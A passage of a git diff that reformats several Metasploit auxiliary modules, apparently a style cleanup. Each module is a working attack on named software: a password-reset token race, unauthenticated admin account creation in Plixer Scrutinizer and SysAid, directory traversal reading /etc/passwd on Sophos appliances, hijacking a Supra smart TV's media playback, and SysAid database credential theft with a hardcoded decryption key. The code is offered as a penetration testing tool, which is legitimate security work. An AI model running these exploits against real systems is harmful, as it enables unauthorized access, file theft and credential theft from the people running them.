error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
|
||||
print_error('Server returned error')
|
||||
vprint_error(error_text)
|
||||
return false
|
||||
end
|
||||
|
@ -83,22 +85,21 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return true
|
||||
end
|
||||
|
||||
def clear_tokens()
|
||||
def clear_tokens
|
||||
count = 0
|
||||
status = true
|
||||
until (status == false) do
|
||||
status = reset_one(Rex::Text.rand_text_alpha(rand(10) + 5))
|
||||
until (status == false)
|
||||
status = reset_one(Rex::Text.rand_text_alpha(rand(5..14)))
|
||||
count += 1 if status
|
||||
end
|
||||
vprint_status("Cleared #{count} tokens")
|
||||
end
|
||||
|
||||
def reset_one(password, report=false)
|
||||
|
||||
(0..datastore['MAXINT']).each{ |int_to_try|
|
||||
def reset_one(password, report = false)
|
||||
(0..datastore['MAXINT']).each do |int_to_try|
|
||||
encode_pass = REXML::Text.new(password).to_s
|
||||
|
||||
xml = ""
|
||||
xml = ''
|
||||
xml << "<#{datastore['OBJECTNAME']}>"
|
||||
xml << "<password>#{encode_pass}</password>"
|
||||
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
|
||||
|
@ -106,14 +107,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
xml << "</#{datastore['OBJECTNAME']}>"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
'method' => 'PUT',
|
||||
'ctype' => 'application/xml',
|
||||
'data' => xml,
|
||||
})
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
'method' => 'PUT',
|
||||
'ctype' => 'application/xml',
|
||||
'data' => xml
|
||||
})
|
||||
|
||||
unless res
|
||||
print_error("No response from server")
|
||||
print_error('No response from server')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -121,9 +122,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
when 200
|
||||
# Failure, grab the error text
|
||||
# May need to tweak this for some apps...
|
||||
error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
|
||||
if (report) && (error_text !~ /token/)
|
||||
print_error("Server returned error")
|
||||
error_text = res.body[%r{<div id="error_explanation">\n\s+(.*?)</div>}m, 1]
|
||||
if report && (error_text !~ /token/)
|
||||
print_error('Server returned error')
|
||||
vprint_error(error_text)
|
||||
return false
|
||||
end
|
||||
|
@ -134,32 +135,31 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_error("ERROR: received code #{res.code}")
|
||||
return false
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
|
||||
return false
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
# Clear outstanding reset tokens, helps ensure we hit the intended account.
|
||||
if datastore['FLUSHTOKENS']
|
||||
print_status("Clearing existing tokens...")
|
||||
clear_tokens()
|
||||
print_status('Clearing existing tokens...')
|
||||
clear_tokens
|
||||
end
|
||||
# Generate a token for our account
|
||||
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
|
||||
status = generate_token(datastore['TARGETEMAIL'])
|
||||
if status == false
|
||||
print_error("Failed to generate reset token")
|
||||
print_error('Failed to generate reset token')
|
||||
return
|
||||
end
|
||||
print_good("Reset token generated successfully")
|
||||
print_good('Reset token generated successfully')
|
||||
|
||||
# Reset a password. We're racing users creating other reset tokens.
|
||||
# If we didn't flush, we'll reset the account with the lowest ID that has a token.
|
||||
print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
|
||||
status = reset_one(datastore['PASSWORD'], true)
|
||||
status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
|
||||
status ? print_good('Password reset worked successfully') : print_error('Failed to reset password')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,59 +8,61 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass',
|
||||
'Description' => %q{
|
||||
This will add an administrative account to Scrutinizer NetFlow and sFlow Analyzer
|
||||
without any authentication. Versions such as 9.0.1 or older are affected.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass',
|
||||
'Description' => %q{
|
||||
This will add an administrative account to Scrutinizer NetFlow and sFlow Analyzer
|
||||
without any authentication. Versions such as 9.0.1 or older are affected.
|
||||
},
|
||||
'References' => [
|
||||
[ 'CVE', '2012-2626' ],
|
||||
[ 'OSVDB', '84318' ],
|
||||
[ 'URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt' ]
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'MC',
|
||||
'Jonathan Claudius',
|
||||
'Tanya Secker',
|
||||
'sinn3r'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2012-07-27'
|
||||
))
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => '2012-07-27'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new("TARGETURI", [true, 'The path to the admin CGI script', '/cgi-bin/admin.cgi']),
|
||||
OptString.new("USERNAME", [true, 'The username for your new account']),
|
||||
OptString.new("PASSWORD", [true, 'The password for your new account'])
|
||||
])
|
||||
OptString.new('TARGETURI', [true, 'The path to the admin CGI script', '/cgi-bin/admin.cgi']),
|
||||
OptString.new('USERNAME', [true, 'The username for your new account']),
|
||||
OptString.new('PASSWORD', [true, 'The password for your new account'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'tool' => 'userprefs',
|
||||
'newUser' => datastore['USERNAME'],
|
||||
'pwd' => datastore['PASSWORD'],
|
||||
'tool' => 'userprefs',
|
||||
'newUser' => datastore['USERNAME'],
|
||||
'pwd' => datastore['PASSWORD'],
|
||||
'selectedUserGroup' => '1'
|
||||
}
|
||||
})
|
||||
|
||||
if not res
|
||||
print_error("No response from server")
|
||||
if !res
|
||||
print_error('No response from server')
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
require 'json'
|
||||
rescue LoadError
|
||||
print_error("Json is not available on your machine")
|
||||
print_error('Json is not available on your machine')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -72,12 +74,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
elsif j['new_user_id']
|
||||
print_good("User created. ID = #{j['new_user_id']}")
|
||||
else
|
||||
print_status("Unexpected response:")
|
||||
print_status('Unexpected response:')
|
||||
print_status(j.to_s)
|
||||
end
|
||||
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
print_error('Unable to parse JSON')
|
||||
print_line(res.body)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,21 +10,21 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
|
||||
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
|
||||
Sophos Web Virtual Appliance v3.7.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
|
||||
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
|
||||
Sophos Web Virtual Appliance v3.7.0.
|
||||
},
|
||||
'Author' => [
|
||||
'Wolfgang Ettlingers', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2013-2641' ],
|
||||
[ 'OSVDB', '91953' ],
|
||||
[ 'BID', '58833' ],
|
||||
|
@ -32,32 +32,35 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[ 'URL', 'https://web.archive.org/web/20130603041204/http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
|
||||
[ 'URL', 'https://web.archive.org/web/20140701204340/https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
},
|
||||
'DisclosureDate' => '2013-04-03'))
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
},
|
||||
'DisclosureDate' => '2013-04-03'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 2])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def my_basename(filename)
|
||||
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||
return ::File.basename(filename.gsub(/\\/, '/'))
|
||||
end
|
||||
|
||||
def is_proficy?
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/cgi-bin/patience.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
'uri' => '/cgi-bin/patience.cgi',
|
||||
'method' => 'GET'
|
||||
}
|
||||
)
|
||||
|
||||
if res and res.code == 307 and res.body =~ /The patience page request was not valid/
|
||||
if res && (res.code == 307) && res.body =~ (/The patience page request was not valid/)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
|
@ -65,57 +68,55 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def read_file(file)
|
||||
travs = ""
|
||||
travs << "../" * datastore['DEPTH']
|
||||
travs = ''
|
||||
travs << '../' * datastore['DEPTH']
|
||||
travs << file
|
||||
travs << "%00"
|
||||
travs << '%00'
|
||||
|
||||
print_status("Retrieving file contents...")
|
||||
print_status('Retrieving file contents...')
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/cgi-bin/patience.cgi",
|
||||
'method' => 'GET',
|
||||
'uri' => '/cgi-bin/patience.cgi',
|
||||
'method' => 'GET',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'id' => travs
|
||||
'id' => travs
|
||||
}
|
||||
})
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID']
|
||||
if res && ((res.code == 200) || (res.code == 500)) && res.headers['X-Sophos-PatienceID']
|
||||
return res.body
|
||||
else
|
||||
print_status("#{res.code}\n#{res.body}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
|
||||
if is_proficy?
|
||||
print_good("Check successful")
|
||||
print_good('Check successful')
|
||||
else
|
||||
print_error("Sophos Web Protect Appliance vulnerable component not found")
|
||||
print_error('Sophos Web Protect Appliance vulnerable component not found')
|
||||
return
|
||||
end
|
||||
|
||||
contents = read_file(datastore['FILEPATH'])
|
||||
if contents.nil?
|
||||
print_error("File not downloaded")
|
||||
print_error('File not downloaded')
|
||||
return
|
||||
end
|
||||
|
||||
file_name = my_basename(datastore['FILEPATH'])
|
||||
path = store_loot(
|
||||
'sophos.wpa.traversal',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
contents,
|
||||
file_name
|
||||
'sophos.wpa.traversal',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
contents,
|
||||
file_name
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,26 +8,29 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Supra Smart Cloud TV Remote File Inclusion',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated remote file inclusion which
|
||||
exists in Supra Smart Cloud TV. The media control for the device doesn't
|
||||
have any session management or authentication. Leveraging this, an
|
||||
attacker on the local network can send a crafted request to broadcast a
|
||||
fake video.
|
||||
},
|
||||
'Author' => [
|
||||
'Dhiraj Mishra', # Discovery, PoC, and module
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-12477'],
|
||||
['URL', 'https://www.inputzero.io/2019/06/hacking-smart-tv.html']
|
||||
],
|
||||
'DisclosureDate' => '2019-06-03',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Supra Smart Cloud TV Remote File Inclusion',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated remote file inclusion which
|
||||
exists in Supra Smart Cloud TV. The media control for the device doesn't
|
||||
have any session management or authentication. Leveraging this, an
|
||||
attacker on the local network can send a crafted request to broadcast a
|
||||
fake video.
|
||||
},
|
||||
'Author' => [
|
||||
'Dhiraj Mishra', # Discovery, PoC, and module
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-12477'],
|
||||
['URL', 'https://www.inputzero.io/2019/06/hacking-smart-tv.html']
|
||||
],
|
||||
'DisclosureDate' => '2019-06-03',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
|
||||
deregister_options('URIPATH')
|
||||
end
|
||||
|
@ -37,12 +40,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status("Broadcasting Epic Sax Guy to #{peer}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/remote/media_control',
|
||||
'method' => 'GET',
|
||||
'uri' => '/remote/media_control',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'action' => 'setUri',
|
||||
'uri' => get_uri + 'epicsax.m3u8'
|
||||
'vars_get' => {
|
||||
'action' => 'setUri',
|
||||
'uri' => get_uri + 'epicsax.m3u8'
|
||||
}
|
||||
)
|
||||
|
||||
|
@ -62,11 +65,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
files = {
|
||||
'/epicsax.m3u8' => 'application/x-mpegURL',
|
||||
'/epicsax0.ts' => 'video/MP2T',
|
||||
'/epicsax1.ts' => 'video/MP2T',
|
||||
'/epicsax2.ts' => 'video/MP2T',
|
||||
'/epicsax3.ts' => 'video/MP2T',
|
||||
'/epicsax4.ts' => 'video/MP2T'
|
||||
'/epicsax0.ts' => 'video/MP2T',
|
||||
'/epicsax1.ts' => 'video/MP2T',
|
||||
'/epicsax2.ts' => 'video/MP2T',
|
||||
'/epicsax3.ts' => 'video/MP2T',
|
||||
'/epicsax4.ts' => 'video/MP2T'
|
||||
}
|
||||
|
||||
file = request.uri
|
||||
|
|
|
@ -8,41 +8,43 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SysAid Help Desk Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
|
||||
user to create an administrator account. Note that this exploit will only work once. Any
|
||||
subsequent attempts will fail. On the other hand, the credentials must be verified
|
||||
manually. This module has been tested on SysAid 14.4 in Windows and Linux.
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SysAid Help Desk Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
|
||||
user to create an administrator account. Note that this exploit will only work once. Any
|
||||
subsequent attempts will fail. On the other hand, the credentials must be verified
|
||||
manually. This module has been tested on SysAid 14.4 in Windows and Linux.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2015-2993' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Jun/8' ],
|
||||
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt' ],
|
||||
],
|
||||
'DisclosureDate' => '2015-06-03'))
|
||||
'DisclosureDate' => '2015-06-03'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 8080]),
|
||||
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
|
||||
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
|
||||
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
|
||||
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'),
|
||||
'method' =>'GET',
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'accountID' => Rex::Text.rand_text_numeric(4),
|
||||
'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)),
|
||||
|
@ -56,17 +58,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
print_status("The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually")
|
||||
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: datastore['USERNAME'],
|
||||
private_data: datastore['PASSWORD'],
|
||||
private_type: :password,
|
||||
access_level: 'Administrator',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
module_fullname: fullname,
|
||||
username: datastore['USERNAME'],
|
||||
private_data: datastore['PASSWORD'],
|
||||
private_type: :password,
|
||||
access_level: 'Administrator',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
|
||||
else
|
||||
print_error("Administrator account creation failed")
|
||||
print_error('Administrator account creation failed')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,45 +7,48 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'SysAid Help Desk Arbitrary File Download',
|
||||
'Description' => %q{
|
||||
This module exploits two vulnerabilities in SysAid Help Desk that allows
|
||||
an unauthenticated user to download arbitrary files from the system. First, an
|
||||
information disclosure vulnerability (CVE-2015-2997) is used to obtain the file
|
||||
system path, and then we abuse a directory traversal (CVE-2015-2996) to download
|
||||
the file. Note that there are some limitations on Windows, in that the information
|
||||
disclosure vulnerability doesn't work on a Windows platform, and we can only
|
||||
traverse the current drive (if you enter C:\afile.txt and the server is running
|
||||
on D:\ the file will not be downloaded).
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SysAid Help Desk Arbitrary File Download',
|
||||
'Description' => %q{
|
||||
This module exploits two vulnerabilities in SysAid Help Desk that allows
|
||||
an unauthenticated user to download arbitrary files from the system. First, an
|
||||
information disclosure vulnerability (CVE-2015-2997) is used to obtain the file
|
||||
system path, and then we abuse a directory traversal (CVE-2015-2996) to download
|
||||
the file. Note that there are some limitations on Windows, in that the information
|
||||
disclosure vulnerability doesn't work on a Windows platform, and we can only
|
||||
traverse the current drive (if you enter C:\afile.txt and the server is running
|
||||
on D:\ the file will not be downloaded).
|
||||
|
||||
This module has been tested with SysAid 14.4 on Windows and Linux.
|
||||
This module has been tested with SysAid 14.4 on Windows and Linux.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2015-2996'],
|
||||
['CVE', '2015-2997'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2015/Jun/8'],
|
||||
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt'],
|
||||
],
|
||||
'DisclosureDate' => '2015-06-03'))
|
||||
'DisclosureDate' => '2015-06-03'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 8080]),
|
||||
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
|
||||
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
|
||||
OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with a back slash)', '/etc/passwd']),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_traversal_path
|
||||
print_status("Trying to find out the traversal path...")
|
||||
print_status('Trying to find out the traversal path...')
|
||||
large_traversal = '../' * rand(15...30)
|
||||
servlet_path = 'getAgentLogFile'
|
||||
|
||||
|
@ -56,13 +59,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))),
|
||||
'ctype' => 'application/octet-stream',
|
||||
'vars_get' => {
|
||||
'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)),
|
||||
'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
|
||||
'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(rand(8..17)),
|
||||
'computerId' => Rex::Text.rand_text_alphanumeric(rand(8..17))
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /\<H2\>(.*)\<\/H2\>/
|
||||
error_path = $1
|
||||
if res && res.code == 200 && res.body.to_s =~ %r{<H2>(.*)</H2>}
|
||||
error_path = ::Regexp.last_match(1)
|
||||
# Error_path is something like:
|
||||
# /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
|
||||
# This calculates how much traversal we need to do to get to the root.
|
||||
|
@ -74,18 +77,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def download_file(download_path)
|
||||
begin
|
||||
return send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
|
||||
'vars_get' => {
|
||||
'fileName' => download_path
|
||||
},
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("Could not connect.")
|
||||
return
|
||||
end
|
||||
return send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
|
||||
'vars_get' => {
|
||||
'fileName' => download_path
|
||||
}
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error('Could not connect.')
|
||||
return
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -96,24 +97,25 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status("Downloading file #{datastore['FILEPATH']}")
|
||||
if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/
|
||||
file_path = $3
|
||||
file_path = ::Regexp.last_match(3)
|
||||
else
|
||||
file_path = datastore['FILEPATH']
|
||||
end
|
||||
|
||||
traversal_path = get_traversal_path
|
||||
if traversal_path.nil?
|
||||
print_error("Could not get traversal path, using bruteforce to download the file")
|
||||
print_error('Could not get traversal path, using bruteforce to download the file')
|
||||
count = 1
|
||||
while count < 15
|
||||
res = download_file(('../' * count) + file_path)
|
||||
if res && res.code == 200 && res.body.to_s.bytesize != 0
|
||||
if res && res.code == 200 && res.body.to_s.bytesize != 0
|
||||
break
|
||||
end
|
||||
|
||||
count += 1
|
||||
end
|
||||
else
|
||||
res = download_file(traversal_path[0,traversal_path.length - 1] + file_path)
|
||||
res = download_file(traversal_path[0, traversal_path.length - 1] + file_path)
|
||||
end
|
||||
|
||||
if res && res.code == 200
|
||||
|
|
|
@ -9,40 +9,42 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
|
||||
user to download arbitrary files from the system. This is used to download the server
|
||||
configuration file that contains the database username and password, which is encrypted
|
||||
with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux.
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
|
||||
user to download arbitrary files from the system. This is used to download the server
|
||||
configuration file that contains the database username and password, which is encrypted
|
||||
with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2015-2996'],
|
||||
['CVE', '2015-2998'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2015/Jun/8'],
|
||||
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt']
|
||||
],
|
||||
'DisclosureDate' => '2015-06-03'))
|
||||
'DisclosureDate' => '2015-06-03'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 8080]),
|
||||
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def decrypt_password (ciphertext)
|
||||
def decrypt_password(ciphertext)
|
||||
salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*')
|
||||
cipher = OpenSSL::Cipher.new("DES")
|
||||
cipher = OpenSSL::Cipher.new('DES')
|
||||
base_64_code = Rex::Text.decode_base64(ciphertext)
|
||||
cipher.decrypt
|
||||
cipher.pkcs5_keyivgen 'inigomontoya', salt, 19
|
||||
|
@ -59,17 +61,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
|
||||
'vars_get' => {
|
||||
'fileName' => '../conf/serverConf.xml'
|
||||
},
|
||||
}
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect.")
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.body.to_s.bytesize != 0
|
||||
username = /\<dbUser\>(.*)\<\/dbUser\>/.match(res.body.to_s)
|
||||
encrypted_password = /\<dbPassword\>(.*)\<\/dbPassword\>/.match(res.body.to_s)
|
||||
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
|
||||
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
|
||||
username = %r{<dbUser>(.*)</dbUser>}.match(res.body.to_s)
|
||||
encrypted_password = %r{<dbPassword>(.*)</dbPassword>}.match(res.body.to_s)
|
||||
database_url = %r{<dbUrl>(.*)</dbUrl>}.match(res.body.to_s)
|
||||
database_type = %r{<dbType>(.*)</dbType>}.match(res.body.to_s)
|
||||
|
||||
unless username && encrypted_password && database_type && database_url
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.")
|
||||
|
@ -85,15 +87,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
username: username
|
||||
})
|
||||
|
||||
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
|
||||
matches = %r{(\w*):(\w*)://(.*)/(\w*)}.match(database_url)
|
||||
if matches
|
||||
begin
|
||||
db_address = matches.captures[2]
|
||||
if database_url['localhost'] == 'localhost'
|
||||
db_address = matches.captures[2]
|
||||
db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i
|
||||
db_address = rhost
|
||||
else
|
||||
db_address = matches.captures[2]
|
||||
if db_address.index(':')
|
||||
db_address = db_address[0, db_address.index(':')]
|
||||
db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i
|
||||
|
@ -125,11 +126,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def report_credential_core(cred_opts={})
|
||||
def report_credential_core(cred_opts = {})
|
||||
# use a basic core only since this credential is not known valid for service it was obtained from.
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
module_fullname: fullname,
